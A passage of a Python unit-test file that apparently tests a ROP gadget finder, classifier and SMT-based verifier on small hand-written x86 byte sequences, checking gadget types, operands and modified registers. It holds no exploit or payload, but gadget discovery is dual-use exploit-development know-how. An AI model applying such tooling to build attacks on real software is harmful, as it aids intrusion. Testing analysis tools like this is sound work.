add byte ptr [eax], al binary += "\xc3" # 0x02 : (1) ret g_finder = GadgetFinder(X86Disassembler(ARCH_X86_MODE_32), binary, X86Translator(ARCH_X86_MODE_32), ARCH_X86, ARCH_X86_MODE_32) g_candidates = g_finder.find(0x00000000, 0x00000002) g_classified = self._g_classifier.classify(g_candidates[0]) # self.print_candidates(g_candidates) # self.print_classified(g_classified) self.assertEquals(len(g_candidates), 1) self.assertEquals(len(g_classified), 1) self.assertEquals(g_classified[0].type, GadgetType.ArithmeticStore) self.assertEquals(g_classified[0].sources, [ReilRegisterOperand("eax", 32), ReilImmediateOperand(0x0, 32), ReilRegisterOperand("al", 8)]) self.assertEquals(g_classified[0].destination, [ReilRegisterOperand("eax", 32), ReilImmediateOperand(0x0, 32)]) # self.assertFalse(ReilRegisterOperand("eax", 32) in g_classified[0].modified_registers) def test_arithmetic_load_add_1(self): # testing : dst_reg <- dst_reg + mem[src_reg] binary = "\x03\x03" # 0x00 : (2) add eax, dword ptr [ebx] binary += "\xc3" # 0x00 : (1) ret g_finder = GadgetFinder(X86Disassembler(ARCH_X86_MODE_32), binary, X86Translator(ARCH_X86_MODE_32), ARCH_X86, ARCH_X86_MODE_32) g_candidates = g_finder.find(0x00000000, 0x00000002) g_classified = self._g_classifier.classify(g_candidates[0]) # self.print_candidates(g_candidates) # self.print_classified(g_classified) self.assertEquals(len(g_candidates), 1) self.assertEquals(len(g_classified), 1) self.assertEquals(g_classified[0].type, GadgetType.ArithmeticLoad) self.assertEquals(g_classified[0].sources, [ReilRegisterOperand("eax", 32), ReilRegisterOperand("ebx", 32), ReilImmediateOperand(0x0, 32)]) self.assertEquals(g_classified[0].destination, [ReilRegisterOperand("eax", 32)]) self.assertEquals(g_classified[0].operation, "+") self.assertEquals(len(g_classified[0].modified_registers), 2) self.assertFalse(ReilRegisterOperand("eax", 32) in g_classified[0].modified_registers) self.assertTrue(ReilRegisterOperand("esp", 32) in g_classified[0].modified_registers) def test_arithmetic_load_add_2(self): # testing : dst_reg <- dst_reg + mem[offset] binary = "\x03\x05\xef\xbe\xad\xde" # 0x00 : (6) add eax, dword ptr [0xdeadbeef] binary += "\xc3" # 0x01 : (1) ret g_finder = GadgetFinder(X86Disassembler(ARCH_X86_MODE_32), binary, X86Translator(ARCH_X86_MODE_32), ARCH_X86, ARCH_X86_MODE_32) g_candidates = g_finder.find(0x00000000, 0x00000006) g_classified = self._g_classifier.classify(g_candidates[1]) # self.print_candidates(g_candidates) # self.print_classified(g_classified) self.assertEquals(len(g_candidates), 2) self.assertEquals(len(g_classified), 1) self.assertEquals(g_classified[0].type, GadgetType.ArithmeticLoad) self.assertEquals(g_classified[0].sources, [ReilRegisterOperand("eax", 32), ReilEmptyOperand(), ReilImmediateOperand(0xdeadbeef, 32)]) self.assertEquals(g_classified[0].destination, [ReilRegisterOperand("eax", 32)]) self.assertEquals(g_classified[0].operation, "+") self.assertEquals(len(g_classified[0].modified_registers), 2) self.assertFalse(ReilRegisterOperand("eax", 32) in g_classified[0].modified_registers) self.assertTrue(ReilRegisterOperand("esp", 32) in g_classified[0].modified_registers) def test_arithmetic_load_add_3(self): # testing : dst_reg <- dst_reg + mem[src_reg + offset] binary = "\x03\x83\x00\x01\x00\x00" # 0x00 : (6) add eax, dword ptr [ebx+0x100] binary += "\xc3" # 0x06 : (1) ret g_finder = GadgetFinder(X86Disassembler(ARCH_X86_MODE_32), binary, X86Translator(ARCH_X86_MODE_32), ARCH_X86, ARCH_X86_MODE_32) g_candidates = g_finder.find(0x00000000, 0x00000006) g_classified = self._g_classifier.classify(g_candidates[2]) # self.print_candidates(g_candidates) # self.print_classified(g_classified) self.assertEquals(len(g_candidates), 3) self.assertEquals(len(g_classified), 1) self.assertEquals(g_classified[0].type, GadgetType.ArithmeticLoad) self.assertEquals(g_classified[0].sources, [ReilRegisterOperand("eax", 32), ReilRegisterOperand("ebx", 32), ReilImmediateOperand(0x100, 32)]) self.assertEquals(g_classified[0].destination, [ReilRegisterOperand("eax", 32)]) self.assertEquals(g_classified[0].operation, "+") self.assertEquals(len(g_classified[0].modified_registers), 2) self.assertFalse(ReilRegisterOperand("eax", 32) in g_classified[0].modified_registers) self.assertTrue(ReilRegisterOperand("esp", 32) in g_classified[0].modified_registers) def test_arithmetic_load_add_4(self): # testing : dst_reg <- dst_reg + mem[dst_reg] binary = "\x03\x09" # 0x00 : (2) add ecx, dword ptr [ecx] binary += "\xc3" # 0x02 : (1) ret g_finder = GadgetFinder(X86Disassembler(ARCH_X86_MODE_32), binary, X86Translator(ARCH_X86_MODE_32), ARCH_X86, ARCH_X86_MODE_32) g_candidates = g_finder.find(0x00000000, 0x00000002) g_classified = self._g_classifier.classify(g_candidates[0]) # self.print_candidates(g_candidates) # self.print_classified(g_classified) self.assertEquals(len(g_candidates), 1) self.assertEquals(len(g_classified), 1) self.assertEquals(g_classified[0].type, GadgetType.ArithmeticLoad) self.assertEquals(g_classified[0].sources, [ReilRegisterOperand("ecx", 32), ReilRegisterOperand("ecx", 32), ReilImmediateOperand(0x0, 32)]) self.assertEquals(g_classified[0].destination, [ReilRegisterOperand("ecx", 32)]) self.assertEquals(g_classified[0].operation, "+") self.assertEquals(len(g_classified[0].modified_registers), 2) self.assertFalse(ReilRegisterOperand("ecx", 32) in g_classified[0].modified_registers) self.assertTrue(ReilRegisterOperand("esp", 32) in g_classified[0].modified_registers) def test_arithmetic_load_add_5(self): # testing : dst_reg <- dst_reg + mem[dst_reg + offset] binary = "\x03\x89\x00\x01\x00\x00" # 0x00 : (6) add ecx, dword ptr [ecx+0x100] binary += "\xc3" # 0x06 : (1) ret g_finder = GadgetFinder(X86Disassembler(ARCH_X86_MODE_32), binary, X86Translator(ARCH_X86_MODE_32), ARCH_X86, ARCH_X86_MODE_32) g_candidates = g_finder.find(0x00000000, 0x00000006) g_classified = self._g_classifier.classify(g_candidates[1]) # self.print_candidates(g_candidates) # self.print_classified(g_classified) self.assertEquals(len(g_candidates), 2) self.assertEquals(len(g_classified), 1) self.assertEquals(g_classified[0].type, GadgetType.ArithmeticLoad) self.assertEquals(g_classified[0].sources, [ReilRegisterOperand("ecx", 32), ReilRegisterOperand("ecx", 32), ReilImmediateOperand(0x100, 32)]) self.assertEquals(g_classified[0].destination, [ReilRegisterOperand("ecx", 32)]) self.assertEquals(g_classified[0].operation, "+") self.assertEquals(len(g_classified[0].modified_registers), 2) self.assertFalse(ReilRegisterOperand("ecx", 32) in g_classified[0].modified_registers) self.assertTrue(ReilRegisterOperand("esp", 32) in g_classified[0].modified_registers) def test_arithmetic_store_add_1(self): # testing : m[dst_reg] <- m[dst_reg] + src_reg binary = "\x01\x18" # 0x02 : (2) add dword ptr [eax], ebx binary += "\xc3" # 0x02 : (2) ret g_finder = GadgetFinder(X86Disassembler(ARCH_X86_MODE_32), binary, X86Translator(ARCH_X86_MODE_32), ARCH_X86, ARCH_X86_MODE_32) g_candidates = g_finder.find(0x00000000, 0x00000002) g_classified = self._g_classifier.classify(g_candidates[0]) # self.print_candidates(g_candidates) # self.print_classified(g_classified) self.assertEquals(len(g_candidates), 1) self.assertEquals(len(g_classified), 1) self.assertEquals(g_classified[0].type, GadgetType.ArithmeticStore) self.assertEquals(g_classified[0].sources, [ReilRegisterOperand("eax", 32), ReilImmediateOperand(0x0, 32), ReilRegisterOperand("ebx", 32)]) self.assertEquals(g_classified[0].destination, [ReilRegisterOperand("eax", 32), ReilImmediateOperand(0x0, 32)]) self.assertEquals(g_classified[0].operation, "+") self.assertEquals(len(g_classified[0].modified_registers), 2) self.assertTrue(ReilRegisterOperand("esp", 32) in g_classified[0].modified_registers) def test_arithmetic_store_add_2(self): # testing : m[offset] <- m[offset] + src_reg binary = "\x01\x0d\xef\xbe\xad\xde" # 0x00 : (6) add dword ptr [0xdeadbeef], ecx binary += "\xc3" # 0x06 : (1) ret g_finder = GadgetFinder(X86Disassembler(ARCH_X86_MODE_32), binary, X86Translator(ARCH_X86_MODE_32), ARCH_X86, ARCH_X86_MODE_32) g_candidates = g_finder.find(0x00000000, 0x00000006) g_classified = self._g_classifier.classify(g_candidates[1]) # self.print_candidates(g_candidates) # self.print_classified(g_classified) self.assertEquals(len(g_candidates), 2) self.assertEquals(len(g_classified), 1) self.assertEquals(g_classified[0].type, GadgetType.ArithmeticStore) self.assertEquals(g_classified[0].sources, [ReilEmptyOperand(), ReilImmediateOperand(0xdeadbeef, 32), ReilRegisterOperand("ecx", 32)]) self.assertEquals(g_classified[0].destination, [ReilEmptyOperand(), ReilImmediateOperand(0xdeadbeef, 32)]) self.assertEquals(g_classified[0].operation, "+") self.assertEquals(len(g_classified[0].modified_registers), 2) self.assertTrue(ReilRegisterOperand("esp", 32) in g_classified[0].modified_registers) def test_arithmetic_store_add_3(self): # testing : m[dst_reg + offset] <- m[dst_reg + offset] + src_reg binary = "\x01\x88\x00\x01\x00\x00" # 0x00 : (6) add dword ptr [eax+0x100], ecx binary += "\xc3" # 0x06 : (1) ret g_finder = GadgetFinder(X86Disassembler(ARCH_X86_MODE_32), binary, X86Translator(ARCH_X86_MODE_32), ARCH_X86, ARCH_X86_MODE_32) g_candidates = g_finder.find(0x00000000, 0x00000006) g_classified = self._g_classifier.classify(g_candidates[1]) # self.print_candidates(g_candidates) # self.print_classified(g_classified) self.assertEquals(len(g_candidates), 2) self.assertEquals(len(g_classified), 1) self.assertEquals(g_classified[0].type, GadgetType.ArithmeticStore) self.assertEquals(g_classified[0].sources, [ReilRegisterOperand("eax", 32), ReilImmediateOperand(0x100, 32), ReilRegisterOperand("ecx", 32)]) self.assertEquals(g_classified[0].destination, [ReilRegisterOperand("eax", 32), ReilImmediateOperand(0x100, 32)]) self.assertEquals(g_classified[0].operation, "+") self.assertEquals(len(g_classified[0].modified_registers), 2) self.assertTrue(ReilRegisterOperand("esp", 32) in g_classified[0].modified_registers) def test_arithmetic_store_add_4(self): # testing : m[dst_reg] <- m[dst_reg] + dst_reg binary = "\x01\x09" # 0x00 : (2) add dword ptr [ecx], ecx binary += "\xc3" # 0x02 : (1) ret g_finder = GadgetFinder(X86Disassembler(ARCH_X86_MODE_32), binary, X86Translator(ARCH_X86_MODE_32), ARCH_X86, ARCH_X86_MODE_32) g_candidates = g_finder.find(0x00000000, 0x00000002) g_classified = self._g_classifier.classify(g_candidates[0]) # self.print_candidates(g_candidates) # self.print_classified(g_classified) self.assertEquals(len(g_candidates), 1) self.assertEquals(len(g_classified), 1) self.assertEquals(g_classified[0].type, GadgetType.ArithmeticStore) self.assertEquals(g_classified[0].sources, [ReilRegisterOperand("ecx", 32), ReilImmediateOperand(0x0, 32), ReilRegisterOperand("ecx", 32)]) self.assertEquals(g_classified[0].destination, [ReilRegisterOperand("ecx", 32), ReilImmediateOperand(0x0, 32)]) self.assertEquals(g_classified[0].operation, "+") self.assertEquals(len(g_classified[0].modified_registers), 2) self.assertTrue(ReilRegisterOperand("esp", 32) in g_classified[0].modified_registers) def test_arithmetic_store_add_5(self): # testing : m[dst_reg + offset] <- m[dst_reg + offset] + dst_reg binary = "\x01\x89\x00\x01\x00\x00" # 0x00 : (6) add dword ptr [ecx+0x100], ecx binary += "\xc3" # 0x06 : (1) ret g_finder = GadgetFinder(X86Disassembler(ARCH_X86_MODE_32), binary, X86Translator(ARCH_X86_MODE_32), ARCH_X86, ARCH_X86_MODE_32) g_candidates = g_finder.find(0x00000000, 0x00000006) g_classified = self._g_classifier.classify(g_candidates[1]) # self.print_candidates(g_candidates) # self.print_classified(g_classified) self.assertEquals(len(g_candidates), 2) self.assertEquals(len(g_classified), 1) self.assertEquals(g_classified[0].type, GadgetType.ArithmeticStore) self.assertEquals(g_classified[0].sources, [ReilRegisterOperand("ecx", 32), ReilImmediateOperand(0x100, 32), ReilRegisterOperand("ecx", 32)]) self.assertEquals(g_classified[0].destination, [ReilRegisterOperand("ecx", 32), ReilImmediateOperand(0x100, 32)]) self.assertEquals(g_classified[0].operation, "+") self.assertEquals(len(g_classified[0].modified_registers), 2) self.assertTrue(ReilRegisterOperand("esp", 32) in g_classified[0].modified_registers) def test_no_classification_1(self): binary = "\xc7\x40\x24\x00\x00\x00\x00" # 0x00 : (7) mov dword ptr [eax+0x24], 0x0 binary += "\xc7\x40\x20\x00\x00\x00\x00" # 0x07 : (7) mov dword ptr [eax+0x20], 0x0 binary += "\xc3" # 0x0e : (1) ret g_finder = GadgetFinder(X86Disassembler(ARCH_X86_MODE_32), binary, X86Translator(ARCH_X86_MODE_32), ARCH_X86, ARCH_X86_MODE_32) g_candidates = g_finder.find(0x00000000, 0x0000000e) g_classified = self._g_classifier.classify(g_candidates[2]) # self.print_candidates(g_candidates) # self.print_classified(g_classified) self.assertEquals(len(g_candidates), 3) self.assertEquals(len(g_classified), 0) def print_candidates(self, candidates): print "Candidates :" for gadget in candidates: print gadget print "-" * 10 def print_classified(self, classified): print "Classified :" for gadget in classified: print gadget print gadget.type print "-" * 10 class GadgetVerifierTests(unittest.TestCase): def setUp(self): self._arch_info = X86ArchitectureInformation(ARCH_X86_MODE_32) self._smt_solver = SmtSolver() self._smt_translator = SmtTranslator(self._smt_solver, self._arch_info.address_size) self._ir_emulator = ReilEmulator(self._arch_info) self._smt_translator.set_arch_alias_mapper(self._arch_info.alias_mapper) self._smt_translator.set_arch_registers_size(self._arch_info.registers_size) self._code_analyzer = CodeAnalyzer(self._smt_solver, self._smt_translator, self._arch_info) self._g_classifier = GadgetClassifier(self._ir_emulator, self._arch_info) self._g_verifier = GadgetVerifier(self._code_analyzer, self._arch_info) # FIXME: Don't take into account esp modification because of RET instruction. # def test_nop_1(self): # # testing : nop # binary = "\x90" # 0x00 : (1) nop # binary += "\xc3" # 0x00 : (1) ret # g_finder = GadgetFinder(X86Disassembler(ARCH_X86_MODE_32), binary, X86Translator(ARCH_X86_MODE_32), ARCH_X86, ARCH_X86_MODE_32) # g_candidates = g_finder.find(0x00000000, 0x00000001) # g_classified = self._g_classifier.classify(g_candidates[0]) # # self.print_candidates(g_candidates) # # self.print_classified(g_classified) # verified = self._g_verifier.verify(g_classified[0]) # self.assertEquals(len(g_candidates), 1) # self.assertEquals(len(g_classified), 1) # self.assertTrue(verified) # self.assertEquals(g_classified[0].type, GadgetType.NoOperation) # self.assertEquals(g_classified[0].sources, []) # self.assertEquals(g_classified[0].destination, []) # self.assertEquals(len(g_classified[0].modified_registers), 0) # FIXME: Don't take into account esp modification because of RET instruction. # def test_nop_2(self): # # testing : nop # binary = "\x39\xd8" # 0x00 : (2) cmp eax, ebx # binary += "\xc3" # 0x02 : (1) ret # g_finder = GadgetFinder(X86Disassembler(ARCH_X86_MODE_32), binary, X86Translator(ARCH_X86_MODE_32), ARCH_X86, ARCH_X86_MODE_32) # g_candidates = g_finder.find(0x00000000, 0x00000002) # g_classified = self._g_classifier.classify(g_candidates[0]) # # self.print_candidates(g_candidates) # # self.print_classified(g_classified) # verified = self._g_verifier.verify(g_classified[0]) # self.assertEquals(len(g_candidates), 1) # self.assertEquals(len(g_classified), 1) # self.assertFalse(verified) # self.assertEquals(g_classified[0].type, GadgetType.NoOperation) # self.assertEquals(g_classified[0].sources, []) # self.assertEquals(g_classified[0].destination, []) # self.assertEquals(len(g_classified[0].modified_registers), 0) # FIXME: Don't take into account esp modification because of RET instruction. # def test_nop_3(self): # # testing : nop # binary = "\x08\xc9" # 0x00 : (2) or cl, cl # binary += "\xc3" # 0x02 : (1) ret # g_finder = GadgetFinder(X86Disassembler(ARCH_X86_MODE_32), binary, X86Translator(ARCH_X86_MODE_32), ARCH_X86, ARCH_X86_MODE_32) # g_candidates = g_finder.find(0x00000000, 0x00000002) # g_classified = self._g_classifier.classify(g_candidates[1]) # # self.print_candidates(g_candidates) # # self.print_classified(g_classified) # verified = self._g_verifier.verify(g_classified[0]) # self.assertEquals(len(g_candidates), 2) # self.assertEquals(len(g_classified), 1) # self.assertTrue(verified) # self.assertEquals(g_classified[0].type, GadgetType.NoOperation) # self.assertEquals(g_classified[0].sources, []) # self.assertEquals(g_classified[0].destination, []) # self.assertEquals(len(g_classified[0].modified_registers), 0) def test_move_register(self): binary = "\x89\xd8" # 0x00 : (2) mov eax, ebx binary += "\xc3" # 0x02 : (1) ret g_finder = GadgetFinder(X86Disassembler(ARCH_X86_MODE_32), binary, X86Translator(ARCH_X86_MODE_32), ARCH_X86, ARCH_X86_MODE_32) g_candidates = g_finder.find(0x00000000, 0x00000002) g_classified = self._g_classifier.classify(g_candidates[0]) # self.print_candidates(g_candidates) # self.print_classified(g_classified) verified = self._g_verifier.verify(g_classified[0]) self.assertEquals(len(g_candidates), 1) self.assertEquals(len(g_classified), 1) self.assertTrue(verified) self.assertEquals(g_classified[0].type, GadgetType.MoveRegister) self.assertEquals(g_classified[0].sources, [ReilRegisterOperand("ebx", 32)]) self.assertEquals(g_classified[0].destination, [ReilRegisterOperand("eax", 32)]) self.assertEquals(len(g_classified[0].modified_registers), 1) self.assertFalse(ReilRegisterOperand("eax", 32) in g_classified[0].modified_registers) self.assertTrue(ReilRegisterOperand("esp", 32) in g_classified[0].modified_registers) def test_load_memory_two_accesses_1(self): # testing : dst_reg <- m[dst_reg + offset] binary = "\x58" # 0x00 : (1) pop eax binary += "\x5b" # 0x01 : (1) pop ebx binary += "\xc3" # 0x02 : (1) ret g_finder = GadgetFinder(X86Disassembler(ARCH_X86_MODE_32), binary, X86Translator(ARCH_X86_MODE_32), ARCH_X86, ARCH_X86_MODE_32) g_candidates = g_finder.find(0x00000000, 0x00000002) g_classified = self._g_classifier.classify(g_candidates[0]) # self.print_candidates(g_candidates) # self.print_classified(g_classified) verified = self._g_verifier.verify(g_classified[1]) self.assertEquals(len(g_candidates), 1) self.assertEquals(len(g_classified), 2) self.assertTrue(verified) self.assertEquals(g_classified[1].type, GadgetType.LoadMemory) self.assertEquals(g_classified[1].sources, [ReilRegisterOperand("esp", 32), ReilImmediateOperand(0x0, 32)]) self.assertEquals(g_classified[1].destination, [ReilRegisterOperand("eax", 32)]) self.assertEquals(len(g_classified[1].modified_registers), 2) self.assertTrue(ReilRegisterOperand("ebx", 32) in g_classified[1].modified_registers) self.assertTrue(ReilRegisterOperand("esp", 32) in g_classified[1].modified_registers) def test_load_memory_two_accesses_2(self): # testing : dst_reg <- m[dst_reg + offset] binary = "\x8b\x09" # 0x00 : (2) mov ecx, dword ptr [ecx] binary += "\x03\x03" # 0x02 : (2) add eax, dword ptr [ebx] binary += "\xc3" # 0x04 : (1) ret g_finder = GadgetFinder(X86Disassembler(ARCH_X86_MODE_32), binary, X86Translator(ARCH_X86_MODE_32), ARCH_X86, ARCH_X86_MODE_32) g_candidates = g_finder.find(0x00000000, 0x00000004) g_classified = self._g_classifier.classify(g_candidates[0]) # self.print_candidates(g_candidates) # self.print_classified(g_classified) verified = self._g_verifier.verify(g_classified[0]) self.assertEquals(len(g_candidates), 1) self.assertEquals(len(g_classified), 2) self.assertTrue(verified) self.assertEquals(g_classified[0].type, GadgetType.LoadMemory) self.assertEquals(g_classified[0].sources, [ReilRegisterOperand("ecx", 32), ReilImmediateOperand(0x0, 32)]) self.assertEquals(g_classified[0].destination, [ReilRegisterOperand("ecx", 32)]) self.assertEquals(len(g_classified[0].modified_registers), 3) self.assertTrue(ReilRegisterOperand("eax", 32) in g_classified[0].modified_registers) self.assertTrue(ReilRegisterOperand("esp", 32) in g_classified[0].modified_registers) def test_store_memory_two_accesses_1(self): # testing : m[dst_reg + offset] <- dst_reg binary = "\x50" # 0x00 : (1) push eax binary += "\x53" # 0x01 : (1) push ebx binary += "\xc3" # 0x02 : (1) ret g_finder = GadgetFinder(X86Disassembler(ARCH_X86_MODE_32), binary, X86Translator(ARCH_X86_MODE_32), ARCH_X86, ARCH_X86_MODE_32) g_candidates = g_finder.find(0x00000000, 0x00000002) g_classified = self._g_classifier.classify(g_candidates[0]) # self.print_candidates(g_candidates) # self.print_classified(g_classified) verified = self._g_verifier.verify(g_classified[1]) self.assertEquals(len(g_candidates), 1) self.assertEquals(len(g_classified), 2) self.assertTrue(verified) self.assertEquals(g_classified[1].type, GadgetType.StoreMemory) self.assertEquals(g_classified[1].sources, [ReilRegisterOperand("eax", 32)]) self.assertEquals(g_classified[1].destination, [ReilRegisterOperand("esp", 32), ReilImmediateOperand(0xfffffffc, 32)]) self.assertEquals(len(g_classified[1].modified_registers), 1) self.assertTrue(ReilRegisterOperand("esp", 32) in g_classified[1].modified_registers) def test_arithmetic_load_memory_two_accesses_1(self): # testing : dst_reg <- dst_reg + m[dst_reg + offset] binary = "\x8b\x09" # 0x00 : (2) mov ecx, dword ptr [ecx] binary += "\x03\x03" # 0x02 : (2) add eax, dword ptr [ebx] binary += "\xc3" # 0x04 : (1) ret g_finder = GadgetFinder(X86Disassembler(ARCH_X86_MODE_32), binary, X86Translator(ARCH_X86_MODE_32), ARCH_X86, ARCH_X86_MODE_32) g_candidates = g_finder.find(0x00000000, 0x00000004) g_classified = self._g_classifier.classify(g_candidates[0]) # self.print_candidates(g_candidates) # self.print_classified(g_classified) verified = self._g_verifier.verify(g_classified[1]) self.assertEquals(len(g_candidates), 1) self.assertEquals(len(g_classified), 2) self.assertTrue(verified) self.assertEquals(g_classified[1].type, GadgetType.ArithmeticLoad) self.assertEquals(g_classified[1].sources, [ReilRegisterOperand("eax", 32), ReilRegisterOperand("ebx", 32), ReilImmediateOperand(0x0, 32)]) self.assertEquals(g_classified[1].destination, [ReilRegisterOperand("eax", 32)]) self.assertEquals(len(g_classified[1].modified_registers), 3) self.assertTrue(ReilRegisterOperand("ecx", 32) in g_classified[1].modified_registers) self.assertTrue(ReilRegisterOperand("esp", 32) in g_classified[1].modified_registers) def test_arithmetic_load_add_1(self): # testing : dst_reg <- src1_reg + src2_reg binary = "\x23\x00" # 0x02 : (2) and eax, dword ptr [eax] binary += "\x00\xc9" # 0x02 : (2) add cl, cl binary += "\xc3" # 0x05 : (1) ret g_finder = GadgetFinder(X86Disassembler(ARCH_X86_MODE_32), binary, X86Translator(ARCH_X86_MODE_32), ARCH_X86, ARCH_X86_MODE_32) g_candidates = g_finder.find(0x00000000, 0x00000004) g_classified = self._g_classifier.classify(g_candidates[1]) # self.print_candidates(g_candidates) # self.print_classified(g_classified) verified = self._g_verifier.verify(g_classified[0]) self.assertEquals(len(g_candidates), 2) self.assertEquals(len(g_classified), 2) self.assertTrue(verified) self.assertEquals(g_classified[0].type, GadgetType.Arithmetic) self.assertEquals(g_classified[0].sources, [ReilRegisterOperand("cl", 8), ReilRegisterOperand("cl", 8)]) self.assertEquals(g_classified[0].destination, [ReilRegisterOperand("cl", 8)]) self.assertEquals(g_classified[0].operation, "+") self.assertEquals(len(g_classified[0].modified_registers), 4) self.assertTrue(ReilRegisterOperand("eax", 32) in g_classified[0].modified_registers) self.assertTrue(ReilRegisterOperand("ecx", 32) in g_classified[0].modified_registers) self.assertTrue(ReilRegisterOperand("esp", 32) in g_classified[1].modified_registers) def test_arithmetic_load_and_1(self): # testing : dst_reg <- src1_reg + src2_reg binary = "\x23\x00" # 0x02 : (2) and eax, dword ptr [eax] binary += "\x00\xc9" # 0x02 : (2) add cl, cl binary += "\xc3" # 0x05 : (1) ret g_finder = GadgetFinder(X86Disassembler(ARCH_X86_MODE_32), binary, X86Translator(ARCH_X86_MODE_32), ARCH_X86, ARCH_X86_MODE_32) g_candidates = g_finder.find(0x00000000, 0x00000004) g_classified = self._g_classifier.classify(g_candidates[1]) # self.print_candidates(g_candidates) # self.print_classified(g_classified) verified = self._g_verifier.verify(g_classified[1]) self.assertEquals(len(g_candidates), 2) self.assertEquals(len(g_classified), 2) self.assertTrue(verified) self.assertEquals(g_classified[1].type, GadgetType.ArithmeticLoad) self.assertEquals(g_classified[1].sources, [ReilRegisterOperand("eax", 32), ReilRegisterOperand("eax", 32), ReilImmediateOperand(0x0, 32)]) self.assertEquals(g_classified[1].destination, [ReilRegisterOperand("eax", 32)]) self.assertEquals(g_classified[1].operation, "&") self.assertEquals(len(g_classified[1].modified_registers), 3) self.assertTrue(ReilRegisterOperand("ecx", 32) in g_classified[1].modified_registers) self.assertTrue(ReilRegisterOperand("esp", 32) in g_classified[1].modified_registers) def test_arithmetic_add_1(self): # testing : dst_reg <- src1_reg + src2_reg binary = "\x00\xc3" # 0x00 : (2) add bl, al binary += "\x50" # 0x02 : (1) push eax binary += "\xc3" # 0x03 : (1) ret g_finder = GadgetFinder(X86Disassembler(ARCH_X86_MODE_32), binary, X86Translator(ARCH_X86_MODE_32), ARCH_X86, ARCH_X86_MODE_32) g_candidates = g_finder.find(0x00000000, 0x00000003) g_classified = self._g_classifier.classify(g_candidates[0]) # self.print_candidates(g_candidates) # self.print_classified(g_classified) verified = self._g_verifier.verify(g_classified[0]) self.assertEquals(len(g_candidates), 1) self.assertEquals(len(g_classified), 4) self.assertTrue(verified) self.assertEquals(g_classified[0].type, GadgetType.Arithmetic) self.assertEquals(g_classified[0].sources, [ReilRegisterOperand("al", 8), ReilRegisterOperand("bl", 8)]) self.assertEquals(g_classified[0].destination, [ReilRegisterOperand("bl", 8)]) self.assertEquals(g_classified[0].operation, "+") self.assertEquals(len(g_classified[0].modified_registers), 2) self.assertTrue(ReilRegisterOperand("ebx", 32) in g_classified[0].modified_registers) def test_load_memory_1(self): # testing : dst_reg <- mem[offset] binary = "\x8b\x45\x08" # 0x00 : (3) mov eax, dword ptr [ebp+0x8] binary += "\x5d" # 0x03 : (1) pop ebp binary += "\xc3" # 0x04 : (1) ret g_finder = GadgetFinder(X86Disassembler(ARCH_X86_MODE_32), binary, X86Translator(ARCH_X86_MODE_32), ARCH_X86, ARCH_X86_MODE_32) g_candidates = g_finder.find(0x00000000, 0x00000004) g_classified = self._g_classifier.classify(g_candidates[0]) # self.print_candidates(g_candidates) # self.print_classified(g_classified) verified = self._g_verifier.verify(g_classified[1]) self.assertEquals(len(g_candidates), 1) self.assertEquals(len(g_classified), 2) self.assertTrue(verified) self.assertEquals(g_classified[1].type, GadgetType.LoadMemory) self.assertEquals(g_classified[1].sources, [ReilRegisterOperand("ebp", 32), ReilImmediateOperand(0x8, 32)]) self.assertEquals(g_classified[1].destination, [ReilRegisterOperand("eax", 32)]) self.assertEquals(len(g_classified[1].modified_registers), 2) self.assertTrue(ReilRegisterOperand("esp", 32) in g_classified[1].modified_registers) self.assertTrue(ReilRegisterOperand("ebp", 32) in g_classified[1].modified_registers) def test_load_memory_2(self): # testing : dst_reg <- mem[offset] binary = "\x08\xa3\xa0\x31\x05\x08" # 0x00 : (6) or [ebx+0x80531a0], ah binary += "\xc9" # 0x06 : (1) leave binary += "\xc3" # 0x07 : (1) ret g_finder = GadgetFinder(X86Disassembler(ARCH_X86_MODE_32), binary, X86Translator(ARCH_X86_MODE_32), ARCH_X86, ARCH_X86_MODE_32) g_candidates = g_finder.find(0x00000000, 0x00000007) g_classified = self._g_classifier.classify(g_candidates[1]) # self.print_candidates(g_candidates) # self.print_classified(g_classified) verified = self._g_verifier.verify(g_classified[0]) self.assertEquals(len(g_candidates), 4) self.assertEquals(len(g_classified), 2) self.assertTrue(verified) self.assertEquals(g_classified[0].type, GadgetType.LoadMemory) self.assertEquals(g_classified[0].sources, [ReilRegisterOperand("ebp", 32), ReilImmediateOperand(0x0, 32)]) self.assertEquals(g_classified[0].destination, [ReilRegisterOperand("ebp", 32)]) self.assertEquals(len(g_classified[0].modified_registers), 2) self.assertTrue(ReilRegisterOperand("esp", 32) in g_classified[0].modified_registers) def test_arithmetic_store_add_1(self): # testing : m[dst_reg] <- m[dst_reg] + src_reg binary = "\x01\x18" # 0x00 : (2) add dword ptr [eax], ebx binary += "\xc3" # 0x02 : (1) ret g_finder = GadgetFinder(X86Disassembler(ARCH_X86_MODE_32), binary, X86Translator(ARCH_X86_MODE_32), ARCH_X86, ARCH_X86_MODE_32) g_candidates = g_finder.find(0x00000000, 0x00000002) g_classified = self._g_classifier.classify(g_candidates[0]) # self.print_candidates(g_candidates) # self.print_classified(g_classified) verified = self._g_verifier.verify(g_classified[0]) self.assertEquals(len(g_candidates), 1) self.assertEquals(len(g_classified), 1) self.assertTrue(verified) self.assertEquals(g_classified[0].type, GadgetType.ArithmeticStore) self.assertEquals(g_classified[0].sources, [ReilRegisterOperand("eax", 32), ReilImmediateOperand(0x0, 32), ReilRegisterOperand("ebx", 32)]) self.assertEquals(g_classified[0].destination, [ReilRegisterOperand("eax", 32), ReilImmediateOperand(0x0, 32)]) self.assertEquals(g_classified[0].operation, "+") self.assertEquals(len(g_classified[0].modified_registers), 2) self.assertTrue(ReilRegisterOperand("esp", 32) in g_classified[0].modified_registers) def test_arithmetic_store_xor_1(self): # testing : m[dst_reg] <- m[dst_reg] + src_reg binary = "\x31\x05\x08\x8b\x00\x5d\xc3" # xor dword ptr [0x5d008b08], eax ; ret g_finder = GadgetFinder(X86Disassembler(ARCH_X86_MODE_32), binary, X86Translator(ARCH_X86_MODE_32), ARCH_X86, ARCH_X86_MODE_32) g_candidates = g_finder.find(0x00000000, 0x00000006) g_classified = self._g_classifier.classify(g_candidates[2]) # self.print_candidates(g_candidates) # self.print_classified(g_classified) verified = self._g_verifier.verify(g_classified[0]) self.assertEquals(len(g_candidates), 3) self.assertEquals(len(g_classified), 1) self.assertTrue(verified) self.assertEquals(g_classified[0].type, GadgetType.ArithmeticStore) self.assertEquals(g_classified[0].sources, [ReilEmptyOperand(), ReilImmediateOperand(0x5d008b08, 32), ReilRegisterOperand("eax", 32)]) self.assertEquals(g_classified[0].destination, [ReilEmptyOperand(), ReilImmediateOperand(0x5d008b08, 32)]) self.assertEquals(g_classified[0].operation, "^") self.assertEquals(len(g_classified[0].modified_registers), 2) self.assertTrue(ReilRegisterOperand("esp", 32) in g_classified[0].modified_registers) def 